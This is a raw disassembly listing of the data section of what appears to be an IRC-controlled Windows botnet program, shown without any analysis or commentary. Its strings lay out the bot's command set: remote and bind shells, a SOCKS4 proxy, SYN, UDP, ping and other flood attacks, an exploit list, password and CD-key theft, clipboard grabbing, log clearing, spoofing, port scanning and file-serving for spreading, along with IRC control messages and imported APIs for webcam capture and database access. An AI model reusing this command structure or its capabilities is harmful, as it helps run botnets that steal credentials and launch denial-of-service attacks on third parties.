2E676Fh dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o ; sub_401ACD+4FA1o dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F84o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF0o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 10h dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 10h dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 10h dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 10h aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 10h aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C1Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C718: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 10h unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 10h dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 10h a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA28: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA2C: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; 